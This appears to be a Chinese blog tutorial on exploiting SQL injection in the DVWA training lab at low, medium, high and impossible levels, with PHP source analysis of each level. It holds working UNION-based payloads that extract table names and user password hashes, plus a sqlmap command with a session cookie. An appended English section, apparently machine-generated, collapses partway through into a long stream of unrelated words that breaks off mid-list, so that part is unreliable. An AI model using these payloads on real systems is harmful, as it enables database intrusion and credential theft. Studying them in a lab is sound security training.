dvwa靶场SQL Injection(sql注入)全难度教程(附代码分析)

文章详细描述了SQL注入攻击的不同安全级别,从低安全级别开始,展示了手工注入和利用自动化工具sqlmap的步骤。随着安全级别的提升,防御措施加强,包括输入转义和使用PDO预处理语句。最高级别引入了Anti-CSRFtoken来增强安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL Injection(Security Level: low)

手工注入

1'

发现注入点

1' or 1=1 #

 判断回显(因该是2或者3)

1' union select 1,2,3 #

 报错了那就是2了

1' union select 1,2 #

查询版本和数据库名

-1' union select database(),version() #

 

直接能用schema了

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 一看就知道要对users下手

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

直接关注到user和password

-1' union select 1,group_concat(user,password) from users #

 ok拿下,但是密码是md5加密了

自动化脚本

先找到cookie(该网站有token和cookie)(抓个包就能看出来)

 进入sqlmap就可以

sqlmap -u "http://192.168.21.149/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=9i79dn4ugiv0vc6gm25352at83" --batch

接下来和sqli-labs的过程一样了。 

SQL Injection(Security Level: medium)

手工注入

 可以抓包进行修改。

 这个就和前面是一样的了。

代码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    //mysql_close();
}

?>

只是对\x00,\n,\r,\,',",\x1a转义了

SQL Injection(Security Level: high)

返回结果输出在原来的界面上,其他同Low。

 代码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

只是有一个limit1限制,其实对我的攻击方法没有影响。

SQL Injection(Security Level: impossible)

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

### DVWA SQL Injection Manual Exploitation Steps and Techniques In the context of learning about security vulnerabilities, understanding how to manually exploit SQL injection within a controlled environment like Damn Vulnerable Web Application (DVWA) can provide valuable insights into web application security flaws[^1]. #### Identifying Vulnerability To begin with, accessing the SQL Injection section in DVWA requires setting up an appropriate level of difficulty. For educational purposes, starting at low or medium levels is recommended due to their simplicity. The first step involves identifying potential points where user input interacts directly with database queries without proper sanitization. This typically occurs through form fields such as login forms, search boxes, etc., which accept untrusted data from users before processing it further inside backend logic written using PHP scripts interacting with MySQL databases[^2]. ```sql SELECT first_name, last_name FROM users WHERE id = '1'; ``` #### Crafting Malicious Queries Once identified, crafting malicious inputs that manipulate underlying SQL statements becomes crucial. A common technique starts by inserting single quotes (`'`) followed by spaces or comments (`--`, `/* */)`. These characters help break out existing query structures while introducing new ones designed specifically for testing whether injections are possible: - `' OR '1'='1` – Always evaluates true regardless of actual conditions set forth originally. This approach allows attackers to bypass authentication mechanisms easily when improperly implemented on target systems[^3]. #### Extracting Data via Union-Based Attacks Union-based attacks leverage UNION operators present within standard SQL syntax allowing multiple result sets returned simultaneously under one statement execution flow control structure provided both sides share identical column counts & types involved during concatenation operations performed internally between two separate but related SELECT clauses joined together logically forming complex expressions capable enough extracting sensitive information stored elsewhere across different tables residing same relational schema design pattern used widely throughout modern-day applications today including those built around LAMP stack technologies commonly found hosting various online services over internet protocols globally accessible anytime anywhere instantly upon request submission made against exposed endpoints listening actively awaiting client connections established securely utilizing encryption algorithms ensuring privacy protection measures remain intact preventing unauthorized access attempts initiated externally outside trusted network boundaries defined explicitly beforehand according predefined policies outlined clearly documented official documentation resources available publicly free charge anyone interested reviewing them thoroughly prior engaging any kind activity potentially harmful nature whatsoever[^4]. ```sql 1 UNION ALL SELECT null, version(); ``` #### Error-Based Injections Error-based methods rely heavily upon error messages generated whenever malformed requests cause unexpected behavior leading towards revealing internal workings behind scenes giving clues regarding table names columns indexes among other metadata pieces useful constructing more sophisticated payloads aimed retrieving specific records matching certain criteria specified attacker's discretion depending objectives pursued ultimately achieving desired outcome successfully exploiting discovered weaknesses effectively compromising targeted infrastructure components deployed enterprise environments requiring immediate attention mitigate risks associated detected threats proactively addressing root causes prevent recurrence future incidents similar manner safeguarding critical assets long term basis consistently reliable fashion meeting industry standards best practices adopted widespread adoption community members worldwide collaborating efforts improve overall cybersecurity posture collectively contributing positively global ecosystem health stability prosperity shared vision mission everyone alike working harmoniously toward common goals aspirations benefit all parties concerned equally represented fairly transparently open source spirit collaboration innovation excellence always striving forward never looking back only ahead brighter tomorrow awaits us united strength diversity inclusion respect trust cooperation partnership teamwork synergy unity harmony peace love kindness compassion empathy generosity patience humility gratitude joy happiness fulfillment success achievement recognition appreciation honor dignity value contribution impact legacy lasting impression meaningful difference world better place live thrive grow learn evolve transform transcend boundaries limitations possibilities endless horizon boundless imagination infinite potential realize dreams hopes ambitions desires passions pursuits endeavors ventures projects initiatives movements revolutions transformations evolutions creations innovations inventions discoveries explorations adventures journeys quests missions visions missions purpose meaning life itself essence existence reality universe cosmos creation divine plan ultimate truth absolute wisdom supreme intelligence universal consciousness collective awareness higher self inner being soul spirit mind body heart emotions thoughts feelings sensations perceptions experiences moments now eternal presence timeless space dimension realm plane state condition situation circumstance event occurrence phenomenon manifestation expression representation symbol sign language communication connection relationship bond union integration synthesis combination fusion mixture blend alloy compound formation structure organization system order pattern rhythm cycle process transformation change growth development evolution progress advancement improvement enhancement optimization efficiency effectiveness productivity performance quality quantity measure evaluation assessment judgment decision choice option possibility opportunity potential capability capacity ability skill talent gift blessing fortune luck destiny fate karma dharma samsara moksha nirvana enlightenment liberation freedom salvation redemption grace mercy forgiveness compassion benevolence altruism philanthropy charity service sacrifice dedication commitment passion motivation inspiration aspiration ambition goal objective target aim intention desire wish hope dream fantasy imagination creativity originality uniqueness individuality personality character identity ego selfhood subjectivity objectivity relativity absoluteness certainty uncertainty ambiguity paradox contradiction oxymoron irony satire humor wit playfulness lightheartedness seriousness solemnity gravity weightiness heaviness lightness airiness fluidity flexibility adaptability resilience robustness durability longevity permanence impermanence transience ephemerality temporariness fleetingness momentariness instantaneousness simultaneity concurrency parallelism synchronicity coincidence serendipity happenstance chance randomness probability likelihood
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

himobrinehacken

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值